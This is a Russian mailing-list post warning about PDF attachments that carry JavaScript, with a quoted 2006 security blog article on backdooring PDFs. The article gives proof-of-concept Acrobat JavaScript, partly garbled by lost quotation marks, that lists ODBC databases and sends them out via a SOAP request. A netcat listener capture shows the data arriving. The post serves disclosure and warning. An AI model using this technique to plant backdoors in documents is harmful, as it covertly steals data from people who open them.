Тут в FD проходила недавно информация о том, как можно скрыто запустить
программу при открытии PDF (см. ниже)
А сейчас я смотрю какой-то умник запустил сообщения о том, что он нашел
суперуязвимости, которые описаны в pdf-приложениях к его письмам.
Но визуальный анализ выявил в них наличие Javascript, например -
Кому интересно и есть возможности, посмотрите что это, и будьте бдительны ;-)
-----------------
Backdooring PDF Files
posted by david.kierznowski on 13.Sep.2006 30 Comments
Created on September 13th and filed under Michael Daw's Hacks.
Recently, there has been alot of hype involving backdooring various web
technologies. pdp (arcitect) has done alot of work centered around this area.
I saw Jeremiah Grossman mention PDF?s being ?BAD?, however, I was unable to
easily locate any practical reasons as to why. I decided to investigate this a
little further.
At first glance PDF documents seem obviously vulnerable. This is due to the
fact that it supports JavaScript. However, there are quite a few twists and
turns. It is by no means as straight forward as this.
Adobe supports its own JavaScript object model. For example, ?alert(?xss?)?
must be called from the app object, so this becomes ?app.alert(?xss?)?. This
means JavaScript attacks are limited to the functionality supported within
Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on
in this article) are very different with regards to which JavaScript objects
are allowed.
This article will give two practical examples of how Adobe Professional and
Adobe Reader can be backdoored. There are 7 or more points where an attacker
can launch malicious code. Both of the attacks discussed below are attached to
the ?Page Open? event.
The trigger can be accessed via ?Page Properties | Actions tab?.
The first attack is simple and affects both Adobe Reader and Adobe
Professional. It involves adding a malicious link into the PDF document. Once
the document is opened, the user?s browser is automatically launched and the
link is accessed. At this point it is obvious that any malicious code be
launched. It is interesting to note that both Adobe 6 & 7 did not warn me
before launching these URLs.
The second attack involves utilising Adobe?s ADBC (Adobe Database Connectivity)
and Web Services support. The following proof of concept code accesses the
Windows ODBC, enumerates available databases and then sends this information to
?localhost? via the web service.
var cURL = ??;
var cTestString = ??;
var databaseList = ADBC.getDataSourceList();
var DB = ??;
if (databaseList != null) {
for (var i=0; i
DB+=databaseList[i].name;
}
cTestString = DB;
var response = SOAP.request( {
cURL: cURL,
oRequest: {
" {
inputString: cTestString
}
},
cAction: ";
});
var result = response[";];
On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ?
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: ??
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
<?xml version=?1.0??>
<SOAP-ENV:Envelope xmlns:SOAP-ENC=?? xm
lns:SOAP-ENV=?? xmlns:xsd=?http://www.w
3.org/2001/XMLSchema? xmlns:xsi=??><SOA
P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle=?
ap/encoding/? xmlns:ns0=??><inputString xsi:type=?xsd:string?>MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</inputString>
</ns0:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
I am sure with a bit more creativity even simpler and/or more advanced attacks
could be put together. Adobe Acrabat supports, ?HTML forms?, ?File system
access? and the list goes on.
One of the other interesting finds was the fact that you can backdoor all Adobe
Acrabat files by loading a backdoored JavaScript file into your
%ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.
Proof of concept for example 1 can be found here.
Proof of concept for example 2 can be found here.
